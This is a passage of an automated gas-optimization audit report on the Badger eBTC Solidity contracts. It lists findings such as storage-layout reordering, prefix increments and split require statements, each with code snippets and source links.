File: contracts/ActivePool.sol

61    _authorityAddress != address(0)

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/ActivePool.sol#L61

File: contracts/BorrowerOperations.sol

124    _authorityAddress != address(0)

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/BorrowerOperations.sol#L124

File: contracts/CollSurplusPool.sol

55    _authorityAddress != address(0)

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/CollSurplusPool.sol#L55

File: contracts/PriceFeed.sol

224    address(fallbackCaller) == address(0)

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/PriceFeed.sol#L224

File: contracts/PriceFeed.sol

587    address(fallbackCaller) != address(0)

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/PriceFeed.sol#L587

File: contracts/PriceFeed.sol

363    _fallbackCaller != address(0)

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/PriceFeed.sol#L363

[G-26] Optimize Names to Save Gas

  • Severity: Gas Optimization
  • Confidence: Medium
  • Total Gas Saved: 176

Description

Optimize public/external function names and public member variable names to save gas. Method IDs that have two leading zero bytes can save 128 gas each during deployment, and renaming functions to have lower method IDs will save 22 gas per call, per sorted position shifted. Note: This detector does not mention special functions like constructors or functions that override other functions which cannot change their names due to the requirements of the overriding process.

There are 8 instances of this issue:

File: contracts/HintHelpers.sol

11    contract HintHelpers is EbtcBase 
/// @audit: getRedemptionHints()  ,getApproxHint()  ,computeNominalCR()  ,computeCR()  

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/HintHelpers.sol#L11-L219

File: contracts/LeverageMacroBase.sol

14    interface ICdpCdps 
/// @audit: Cdps()  

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/LeverageMacroBase.sol#L14-L16

File: contracts/LeverageMacroDelegateTarget.sol

6    interface IOwnerLike 
/// @audit: owner()  

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/LeverageMacroDelegateTarget.sol#L6-L8

File: contracts/LeverageMacroFactory.sol

11    contract LeverageMacroFactory 
/// @audit: deployNewMacro()  ,deployNewMacro()  

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/LeverageMacroFactory.sol#L11-L60

File: contracts/LeverageMacroReference.sol

11    contract LeverageMacroReference is LeverageMacroBase 
/// @audit: resetApprovals()  

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/LeverageMacroReference.sol#L11-L57

File: contracts/LiquidationLibrary.sol

13    contract LiquidationLibrary is CdpManagerStorage 
/// @audit: liquidate()  ,partiallyLiquidate()  ,batchLiquidateCdps()  

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/LiquidationLibrary.sol#L13-L914

File: contracts/SimplifiedDiamondLike.sol

25    contract SimplifiedDiamondLike 
/// @audit: setFallbackHandler()  ,setAllowAnyCall()  ,enableCallbackForCall()  ,execute()  

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/SimplifiedDiamondLike.sol#L25-L202

File: contracts/SortedCdps.sol

51    contract SortedCdps is ISortedCdps 
/// @audit: toCdpId()  

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/SortedCdps.sol#L51-L725

[G-27] Optimal State Variable Order

  • Severity: Gas Optimization
  • Confidence: High
  • Total Gas Saved: 15000

Description

Detects optimal variable order in contract storage layouts to decrease the number of storage slots used. Each storage slot used can cost at least 5,000 gas for each write operation, and potentially up to 20,000 gas if you’re turning a zero value into a non-zero value. Hence, optimizing storage usage can result in significant gas savings. The real-world savings could vary depending on your contract’s specific logic and the state of the Ethereum network.

There are 3 instances of this issue:

Optimization opportunity in storage variable layout of contract

File: contracts/CdpManagerStorage.sol

19    contract CdpManagerStorage is EbtcBase, ReentrancyGuard, ICdpManagerData, AuthNoOwner 
  • original variable order (count: 32 slots)

    • uint128 UNSET_TIMESTAMP
    • uint128 MINIMUMGRACEPERIOD
    • uint128 lastGracePeriodStartTimestamp
    • uint128 recoveryModeGracePeriodDuration
    • string NAME
    • address borrowerOperationsAddress
    • ICollSurplusPool collSurplusPool
    • IEBTCToken ebtcToken
    • address liquidationLibrary
    • ISortedCdps sortedCdps
    • uint256 SECONDSINONE_MINUTE
    • uint256 MINREDEMPTIONFEE_FLOOR
    • uint256 redemptionFeeFloor
    • bool redemptionsPaused
    • uint256 minuteDecayFactor
    • uint256 MINMINUTEDECAY_FACTOR
    • uint256 MAXMINUTEDECAY_FACTOR
    • uint256 deploymentStartTime
    • uint256 beta
    • uint256 baseRate
    • uint256 stakingRewardSplit
    • uint256 lastRedemptionTimestamp
    • mapping(bytes32 => ICdpManagerData.Cdp) Cdps
    • uint256 totalStakes
    • uint256 totalStakesSnapshot
    • uint256 totalCollateralSnapshot
    • uint256 systemDebtRedistributionIndex
    • mapping(bytes32 => uint256) cdpDebtRedistributionIndex
    • uint256 lastEBTCDebtErrorRedistribution
    • uint256 stEthIndex
    • uint256 systemStEthFeePerUnitIndex
    • uint256 systemStEthFeePerUnitIndexError
    • mapping(bytes32 => uint256) cdpStEthFeePerUnitIndex
    • bytes32[] CdpIds
  • optimized variable order (count: 31 slots)

    • address borrowerOperationsAddress
    • bool redemptionsPaused
    • ICollSurplusPool collSurplusPool
    • IEBTCToken ebtcToken
    • address liquidationLibrary
    • ISortedCdps sortedCdps
    • uint128 UNSET_TIMESTAMP
    • uint128 MINIMUMGRACEPERIOD
    • uint128 lastGracePeriodStartTimestamp
    • uint128 recoveryModeGracePeriodDuration
    • string NAME
    • uint256 SECONDSINONE_MINUTE
    • uint256 MINREDEMPTIONFEE_FLOOR
    • uint256 redemptionFeeFloor
    • uint256 minuteDecayFactor
    • uint256 MINMINUTEDECAY_FACTOR
    • uint256 MAXMINUTEDECAY_FACTOR
    • uint256 deploymentStartTime
    • uint256 beta
    • uint256 baseRate
    • uint256 stakingRewardSplit
    • uint256 lastRedemptionTimestamp
    • mapping(bytes32 => ICdpManagerData.Cdp) Cdps
    • uint256 totalStakes
    • uint256 totalStakesSnapshot
    • uint256 totalCollateralSnapshot
    • uint256 systemDebtRedistributionIndex
    • mapping(bytes32 => uint256) cdpDebtRedistributionIndex
    • uint256 lastEBTCDebtErrorRedistribution
    • uint256 stEthIndex
    • uint256 systemStEthFeePerUnitIndex
    • uint256 systemStEthFeePerUnitIndexError
    • mapping(bytes32 => uint256) cdpStEthFeePerUnitIndex
    • bytes32[] CdpIds

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/CdpManagerStorage.sol#L19-L902

Optimization opportunity in storage variable layout of contract

File: contracts/EBTCToken.sol

26    contract EBTCToken is IEBTCToken, AuthNoOwner, PermitNonce 
  • original variable order (count: 15 slots)

    • uint256 _totalSupply
    • string _NAME
    • string _SYMBOL
    • string _VERSION
    • uint8 _DECIMALS
    • bytes32 PERMITTYPEHASH
    • bytes32 TYPEHASH
    • bytes32 CACHEDDOMAIN_SEPARATOR
    • uint256 CACHEDCHAIN_ID
    • bytes32 HASHEDNAME
    • bytes32 HASHEDVERSION
    • mapping(address => uint256) _balances
    • mapping(address => mapping(address => uint256)) _allowances
    • address cdpManagerAddress
    • address borrowerOperationsAddress
  • optimized variable order (count: 14 slots)

    • address cdpManagerAddress
    • uint8 _DECIMALS
    • address borrowerOperationsAddress
    • uint256 _totalSupply
    • string _NAME
    • string _SYMBOL
    • string _VERSION
    • bytes32 PERMITTYPEHASH
    • bytes32 TYPEHASH
    • bytes32 CACHEDDOMAIN_SEPARATOR
    • uint256 CACHEDCHAIN_ID
    • bytes32 HASHEDNAME
    • bytes32 HASHEDVERSION
    • mapping(address => uint256) _balances
    • mapping(address => mapping(address => uint256)) _allowances

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/EBTCToken.sol#L26-L358

Optimization opportunity in storage variable layout of contract

File: contracts/PriceFeed.sol

21    contract PriceFeed is BaseMath, IPriceFeed, AuthNoOwner 
  • original variable order (count: 10 slots)

    • string NAME
    • AggregatorV3Interface ETHBTCCL_FEED
    • AggregatorV3Interface STETHETHCL_FEED
    • IFallbackCaller fallbackCaller
    • uint256 TIMEOUTETHBTC_FEED
    • uint256 TIMEOUTSTETHETH_FEED
    • uint256 MAXPRICEDEVIATIONFROMPREVIOUS_ROUND
    • uint256 MAXPRICEDIFFERENCEBETWEENORACLES
    • uint256 lastGoodPrice
    • IPriceFeed.Status status
  • optimized variable order (count: 9 slots)

    • AggregatorV3Interface ETHBTCCL_FEED
    • IPriceFeed.Status status
    • AggregatorV3Interface STETHETHCL_FEED
    • IFallbackCaller fallbackCaller
    • string NAME
    • uint256 TIMEOUTETHBTC_FEED
    • uint256 TIMEOUTSTETHETH_FEED
    • uint256 MAXPRICEDEVIATIONFROMPREVIOUS_ROUND
    • uint256 MAXPRICEDIFFERENCEBETWEENORACLES
    • uint256 lastGoodPrice

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/PriceFeed.sol#L21-L806

[G-28] Optimal Struct Variable Order

  • Severity: Gas Optimization
  • Confidence: High
  • Total Gas Saved: 20000

Description

Detect optimal variable order in struct definitions to decrease the number of slots used. Each storage slot used can cost at least 5,000 gas for each write operation, and potentially up to 20,000 gas if you’re turning a zero value into a non-zero value. Hence, optimizing storage usage can result in significant gas savings. The real-world savings could vary depending on your contract’s specific logic and the state of the Ethereum network.

There are 4 instances of this issue:

Optimization opportunity in struct

File: contracts/BorrowerOperations.sol

97    struct MoveTokensParams {
98            address user;
99            uint256 collSharesChange;
100            uint256 collAddUnderlying; // ONLY for isCollIncrease=true
101            bool isCollIncrease;
102            uint256 netDebtChange;
103            bool isDebtIncrease;
104        }
  • original variable order (count: 6 slots)

    • address user
    • uint256 collSharesChange
    • uint256 collAddUnderlying
    • bool isCollIncrease
    • uint256 netDebtChange
    • bool isDebtIncrease
  • optimized variable order (count: 4 slots)

    • address user
    • bool isCollIncrease
    • bool isDebtIncrease
    • uint256 collSharesChange
    • uint256 collAddUnderlying
    • uint256 netDebtChange

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/BorrowerOperations.sol#L97-L104

Optimization opportunity in struct

File: contracts/Interfaces/IPriceFeed.sol

17    struct ChainlinkResponse {
18            uint80 roundEthBtcId;
19            uint80 roundStEthEthId;
20            uint256 answer;
21            uint256 timestampEthBtc;
22            uint256 timestampStEthEth;
23            bool success;
24        }
  • original variable order (count: 5 slots)

    • uint80 roundEthBtcId
    • uint80 roundStEthEthId
    • uint256 answer
    • uint256 timestampEthBtc
    • uint256 timestampStEthEth
    • bool success
  • optimized variable order (count: 4 slots)

    • uint80 roundEthBtcId
    • uint80 roundStEthEthId
    • bool success
    • uint256 answer
    • uint256 timestampEthBtc
    • uint256 timestampStEthEth

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/Interfaces/IPriceFeed.sol#L17-L24

Optimization opportunity in struct

File: contracts/LeverageMacroBase.sol

259    struct LeverageMacroOperation {
260            address tokenToTransferIn;
261            uint256 amountToTransferIn;
262            SwapOperation[] swapsBefore; // Empty to skip
263            SwapOperation[] swapsAfter; // Empty to skip
264            OperationType operationType; // Open, Close, etc..
265            bytes OperationData; // Generic Operation Data, which we'll decode to use
266        }
  • original variable order (count: 6 slots)

    • address tokenToTransferIn
    • uint256 amountToTransferIn
    • LeverageMacroBase.SwapOperation[] swapsBefore
    • LeverageMacroBase.SwapOperation[] swapsAfter
    • LeverageMacroBase.OperationType operationType
    • bytes OperationData
  • optimized variable order (count: 5 slots)

    • address tokenToTransferIn
    • LeverageMacroBase.OperationType operationType
    • uint256 amountToTransferIn
    • LeverageMacroBase.SwapOperation[] swapsBefore
    • LeverageMacroBase.SwapOperation[] swapsAfter
    • bytes OperationData

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/LeverageMacroBase.sol#L259-L266

Optimization opportunity in struct

File: contracts/SimplifiedDiamondLike.sol

99    struct Operation {
100            address to; // Target to call
101            bool checkSuccess; // If false we will ignore a revert
102            uint128 value; // How much ETH to send
103            uint128 gas; // How much gas to send
104            bool capGas; // true to use above "gas" setting or we send gasleft()
105            OperationType opType; // See `OperationType`
106            bytes data; // Calldata to send (funsig + data)
107        }
  • original variable order (count: 4 slots)

    • address to
    • bool checkSuccess
    • uint128 value
    • uint128 gas
    • bool capGas
    • SimplifiedDiamondLike.OperationType opType
    • bytes data
  • optimized variable order (count: 3 slots)

    • address to
    • bool checkSuccess
    • bool capGas
    • SimplifiedDiamondLike.OperationType opType
    • uint128 value
    • uint128 gas
    • bytes data

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/SimplifiedDiamondLike.sol#L99-L107

[G-29] Postfix operations that could be replaced with prefix operations

  • Severity: Gas Optimization
  • Confidence: High
  • Total Gas Saved: 60

Description

Postfix operations should be replaced with prefix operations to save gas, in case the result returned by the operation is ignored.

There are 12 instances of this issue:

File: contracts/CdpManager.sol

429    _maxIterations--

should use a prefix operation

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/CdpManager.sol#L429

File: contracts/Governor.sol

46    i++

should use a prefix operation

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/Governor.sol#L46

File: contracts/Governor.sol

62    j++

should use a prefix operation

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/Governor.sol#L62

File: contracts/Governor.sol

57    i++

should use a prefix operation

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/Governor.sol#L57

File: contracts/Governor.sol

87    j++

should use a prefix operation

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/Governor.sol#L87

File: contracts/Governor.sol

84    i++

should use a prefix operation

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/Governor.sol#L84

File: contracts/Governor.sol

76    i++

should use a prefix operation

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/Governor.sol#L76

File: contracts/Governor.sol

98    i++

should use a prefix operation

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/Governor.sol#L98

File: contracts/Governor.sol

111    j++

should use a prefix operation

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/Governor.sol#L111

File: contracts/Governor.sol

107    i++

should use a prefix operation

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/Governor.sol#L107

File: contracts/Governor.sol

122    i++

should use a prefix operation

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/Governor.sol#L122

File: contracts/HintHelpers.sol

195    i++

should use a prefix operation

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/HintHelpers.sol#L195

[G-30] Redundant Bool Comparison

  • Severity: Gas Optimization
  • Confidence: High
  • Total Gas Saved: 9

Description

This detector checks for instances where a boolean expression is compared to a boolean literal (true or false), which is redundant.

There are 1 instances of this issue:

File: contracts/CdpManager.sol

332    require(redemptionsPaused == false, "CdpManager: Redemptions Paused")

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/CdpManager.sol#L332

[G-31] Redundant state variable getters

  • Severity: Gas Optimization
  • Confidence: High

Description

Detects and reports state variables that have manually coded getters. Getters for public state variables are automatically generated in Solidity. Coding them manually is redundant and a waste of gas.

There are 2 instances of this issue:

File: contracts/SortedCdps.sol

130    function nonExistId() public pure override returns (bytes32) 

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/SortedCdps.sol#L130-L132

File: contracts/SortedCdps.sol

548    function getMaxSize() external view override returns (uint256) 

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/SortedCdps.sol#L548-L550

[G-32] Consider activating via-ir for deploying

  • Severity: Gas Optimization
  • Confidence: Medium

Description

The IR-based code generator was developed to make code generation more transparent and auditable, while also enabling powerful optimization passes that can be applied across functions.

It is possible to activate the IR-based code generator through the command line by using the flag --via-ir or by including the option {‘viaIR’: true}.

Keep in mind that compiling with this option may take longer. However, you can simply test it before deploying your code. If you find that it provides better performance, you can add the --via-ir flag to your deploy command.

[G-33] Short-circuit rules can be used to optimize some gas usage

  • Severity: Gas Optimization
  • Confidence: Medium
  • Total Gas Saved: 14700

Description

Some conditions may be reordered to save an SLOAD (2100 gas), as we avoid reading state variables when the first part of the condition fails (with &&), or succeeds (with ||). For instance, consider a scenario where you have a stateVariable (a variable stored in contract storage) and a localVariable (a variable in memory).

If you have a condition like stateVariable > 0 && localVariable > 0, if localVariable > 0 is false, the Solidity runtime will still execute stateVariable > 0, which costs an SLOAD operation (2100 gas). However, if you reorder the condition to localVariable > 0 && stateVariable > 0, the stateVariable > 0 check won’t happen if localVariable > 0 is false, saving you the SLOAD gas cost.

Similarly, for the || operator, if you have a condition like stateVariable > 0 || localVariable > 0, and stateVariable > 0 is true, the Solidity runtime will still execute localVariable > 0. But if you reorder the condition to localVariable > 0 || stateVariable > 0, and localVariable > 0 is true, the stateVariable > 0 check won’t happen, again saving you the SLOAD gas cost.

This detector checks for such conditions in the contract and reports if any condition could be optimized by taking advantage of the short-circuiting behavior of && and ||.

There are 7 instances of this issue:

File: contracts/CdpManager.sol

762    require(
763                _maxFeePercentage >= redemptionFeeFloor && _maxFeePercentage <= DECIMAL_PRECISION,
764                "Max fee percentage must be between redemption fee floor and 100%"
765            )
 // @audit: Switch _maxFeePercentage <= DECIMAL_PRECISION && _maxFeePercentage >= redemptionFeeFloor 

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/CdpManager.sol#L762-L765

File: contracts/SortedCdps.sol

601    return data.head == _nextId && _NICR >= cdpManager.getCachedNominalICR(_nextId)
 // @audit: Switch _NICR >= cdpManager.getCachedNominalICR(_nextId) && data.head == _nextId 

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/SortedCdps.sol#L601

File: contracts/SortedCdps.sol

644    data.tail == _startId && _NICR <= cdpManager.getCachedNominalICR(_startId)
 // @audit: Switch _NICR <= cdpManager.getCachedNominalICR(_startId) && data.tail == _startId 

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/SortedCdps.sol#L644

File: contracts/SortedCdps.sol

604    return data.tail == _prevId && _NICR <= cdpManager.getCachedNominalICR(_prevId)
 // @audit: Switch _NICR <= cdpManager.getCachedNominalICR(_prevId) && data.tail == _prevId 

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/SortedCdps.sol#L604

File: contracts/SortedCdps.sol

607    return
608                    data.nodes[_prevId].nextId == _nextId &&
609                    cdpManager.getCachedNominalICR(_prevId) >= _NICR &&
610                    _NICR >= cdpManager.getCachedNominalICR(_nextId)
 // @audit: Switch cdpManager.getCachedNominalICR(_prevId) >= _NICR && data.nodes[_prevId].nextId == _nextId 

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/SortedCdps.sol#L607-L610

File: contracts/SortedCdps.sol

607    return
608                    data.nodes[_prevId].nextId == _nextId &&
609                    cdpManager.getCachedNominalICR(_prevId) >= _NICR &&
610                    _NICR >= cdpManager.getCachedNominalICR(_nextId)
 // @audit: Switch _NICR >= cdpManager.getCachedNominalICR(_nextId) && data.nodes[_prevId].nextId == _nextId && cdpManager.getCachedNominalICR(_prevId) >= _NICR 

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/SortedCdps.sol#L607-L610

File: contracts/SortedCdps.sol

621    data.head == _startId && _NICR >= cdpManager.getCachedNominalICR(_startId)
 // @audit: Switch _NICR >= cdpManager.getCachedNominalICR(_startId) && data.head == _startId 

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/SortedCdps.sol#L621

[G-34] Use Small Integer For Efficiency

  • Severity: Gas Optimization
  • Confidence: High
  • Total Gas Saved: 30

Description

This detector flags contracts that inefficiently use uint or int of sizes smaller than 32 bytes. The EVM operates on 32 bytes at a time, thus using elements smaller than this may cause your contract’s gas usage to be higher. Refer to the Solidity documentation for more details: https://docs.soliditylang.org/en/v0.8.11/internals/layout_in_storage.html.

There are 5 instances of this issue:

File: contracts/CdpManagerStorage.sol

21    uint128 public constant UNSET_TIMESTAMP = type(uint128).max

UNSET_TIMESTAMP use 256 bites instead of 128

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/CdpManagerStorage.sol#L21

File: contracts/CdpManagerStorage.sol

22    uint128 public constant MINIMUM_GRACE_PERIOD = 15 minutes

MINIMUM_GRACE_PERIOD use 256 bites instead of 128

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/CdpManagerStorage.sol#L22

File: contracts/CdpManagerStorage.sol

24    uint128 public lastGracePeriodStartTimestamp = UNSET_TIMESTAMP

lastGracePeriodStartTimestamp use 256 bites instead of 128

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/CdpManagerStorage.sol#L24

File: contracts/CdpManagerStorage.sol

25    uint128 public recoveryModeGracePeriodDuration = MINIMUM_GRACE_PERIOD

recoveryModeGracePeriodDuration use 256 bites instead of 128

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/CdpManagerStorage.sol#L25

File: contracts/EBTCToken.sol

31    uint8 internal constant _DECIMALS = 18

_DECIMALS use 256 bites instead of 8

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/EBTCToken.sol#L31

[G-35] Splitting Require Assert Statements

  • Severity: Gas Optimization
  • Confidence: High
  • Total Gas Saved: 24

Description

Instead of using operator && in a a single require clause split into multiple clauses to save gas.

There are 8 instances of this issue:

File: contracts/BorrowerOperations.sol

734    require(
735                recoveredAddress != address(0) && recoveredAddress == _borrower,
736                "BorrowerOperations: Invalid signature"
737            )

split the condition: -

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/BorrowerOperations.sol#L734-L737

File: contracts/CdpManager.sol

762    require(
763                _maxFeePercentage >= redemptionFeeFloor && _maxFeePercentage <= DECIMAL_PRECISION,
764                "Max fee percentage must be between redemption fee floor and 100%"
765            )

split the condition: -

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/CdpManager.sol#L762-L765

File: contracts/CdpManagerStorage.sol

261    require(
262                closedStatus != Status.nonExistent && closedStatus != Status.active,
263                "CdpManagerStorage: close non-exist or non-active CDP!"
264            )

split the condition: -

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/CdpManagerStorage.sol#L261-L264

File: contracts/CdpManagerStorage.sol

466    require(
467                cdpStatus != Status.nonExistent && cdpStatus != Status.active,
468                "CdpManagerStorage: remove non-exist or non-active CDP!"
469            )

split the condition: -

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/CdpManagerStorage.sol#L466-L469

File: contracts/CdpManagerStorage.sol

653    require(
654                CdpOwnersArrayLength > 1 && sortedCdps.getSize() > 1,
655                "CdpManager: Only one cdp in the system"
656            )

split the condition: -

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/CdpManagerStorage.sol#L653-L656

File: contracts/EBTCToken.sol

296    require(
297                _recipient != address(0) && _recipient != address(this),
298                "EBTC: Cannot transfer tokens directly to the EBTC token contract or the zero address"
299            )

split the condition: -

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/EBTCToken.sol#L296-L299

File: contracts/EBTCToken.sol

300    require(
301                _recipient != cdpManagerAddress && _recipient != borrowerOperationsAddress,
302                "EBTC: Cannot transfer tokens directly to the CdpManager or BorrowerOps"
303            )

split the condition: -

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/EBTCToken.sol#L300-L303

File: contracts/PriceFeed.sol

79    require(
80                !_chainlinkIsBroken(chainlinkResponse, prevChainlinkResponse) &&
81                    !_chainlinkIsFrozen(chainlinkResponse),
82                "PriceFeed: Chainlink must be working and current"
83            )

split the condition: -

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/PriceFeed.sol#L79-L83

[G-36] State variable access within a loop

  • Severity: Gas Optimization
  • Confidence: High
  • Total Gas Saved: 8745

Description

State variable reads and writes are more expensive than local variable reads and writes. Therefore, it is recommended to replace state variable reads and writes within loops with a local variable. Gas savings should be multiplied by the average loop length.

There are 33 instances of this issue:

File: contracts/CdpManager.sol

369    currentBorrower != address(0) && getSyncedICR(_cId, totals.price) < MCR

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/CdpManager.sol#L369

File: contracts/CdpManager.sol

370    _cId = sortedCdps.getPrev(_cId)

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/CdpManager.sol#L370

File: contracts/CdpManager.sol

371    currentBorrower = sortedCdps.getOwnerAddress(_cId)

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/CdpManager.sol#L371

File: contracts/CdpManager.sol

424    bytes32 _nextId = sortedCdps.getPrev(_cId)

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/CdpManager.sol#L424

File: contracts/CdpManager.sol

425    address nextUserToCheck = sortedCdps.getOwnerAddress(_nextId)

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/CdpManager.sol#L425

File: contracts/CdpManager.sol

500    _id = sortedCdps.getNext(_id)

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/CdpManager.sol#L500

File: contracts/Governor.sol

46    i < users.length()

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/Governor.sol#L46

File: contracts/Governor.sol

47    address user = users.at(i)

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/Governor.sol#L47

File: contracts/HintHelpers.sol

69    vars.currentCdpUser != address(0) &&
70                    cdpManager.getSyncedICR(vars.currentCdpId, _price) < MCR

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/HintHelpers.sol#L69-L70

File: contracts/HintHelpers.sol

72    vars.currentCdpId = sortedCdps.getPrev(vars.currentCdpId)

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/HintHelpers.sol#L72

File: contracts/HintHelpers.sol

73    vars.currentCdpUser = sortedCdps.getOwnerAddress(vars.currentCdpId)

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/HintHelpers.sol#L73

File: contracts/HintHelpers.sol

90    uint256 currentCdpDebt = cdpManager.getSyncedCdpDebt(vars.currentCdpId)

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/HintHelpers.sol#L90

File: contracts/HintHelpers.sol

102    collateral.getPooledEthByShares(partialRedemptionNewColl) <
103                            MIN_NET_STETH_BALANCE

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/HintHelpers.sol#L102-L103

File: contracts/HintHelpers.sol

116    vars.currentCdpId = sortedCdps.getPrev(vars.currentCdpId)

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/HintHelpers.sol#L116

File: contracts/HintHelpers.sol

117    vars.currentCdpUser = sortedCdps.getOwnerAddress(vars.currentCdpId)

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/HintHelpers.sol#L117

File: contracts/HintHelpers.sol

185    bytes32 _cId = cdpManager.getIdFromCdpIdsArray(arrayIndex)

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/HintHelpers.sol#L185

File: contracts/HintHelpers.sol

186    uint256 currentNICR = cdpManager.getSyncedNominalICR(_cId)

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/HintHelpers.sol#L186

File: contracts/LiquidationLibrary.sol

756    vars.cdpId != bytes32(0) && Cdps[vars.cdpId].status == Status.active

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/LiquidationLibrary.sol#L756

File: contracts/LiquidationLibrary.sol

788    vars.backToNormalMode = _TCR < CCR ? false : true

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/LiquidationLibrary.sol#L788

File: contracts/LiquidationLibrary.sol

819    vars.cdpId != bytes32(0) && Cdps[vars.cdpId].status == Status.active

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/LiquidationLibrary.sol#L819

File: contracts/SortedCdps.sol

185    _currentCdpId != dummyId

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/SortedCdps.sol#L185

File: contracts/SortedCdps.sol

199    _currentCdpId = data.nodes[_currentCdpId].prevId

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/SortedCdps.sol#L199

File: contracts/SortedCdps.sol

248    _currentCdpId != dummyId

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/SortedCdps.sol#L248

File: contracts/SortedCdps.sol

256    _currentCdpId = data.nodes[_currentCdpId].prevId

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/SortedCdps.sol#L256

File: contracts/SortedCdps.sol

318    _currentCdpId != dummyId

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/SortedCdps.sol#L318

File: contracts/SortedCdps.sol

327    _currentCdpId = data.nodes[_currentCdpId].prevId

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/SortedCdps.sol#L327

File: contracts/SortedCdps.sol

450    delete data.nodes[_ids[i]]

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/SortedCdps.sol#L450

File: contracts/SortedCdps.sol

629    prevId != dummyId && !_validInsertPosition(_NICR, prevId, nextId)

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/SortedCdps.sol#L629

File: contracts/SortedCdps.sol

630    prevId = data.nodes[prevId].nextId

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/SortedCdps.sol#L630

File: contracts/SortedCdps.sol

631    nextId = data.nodes[prevId].nextId

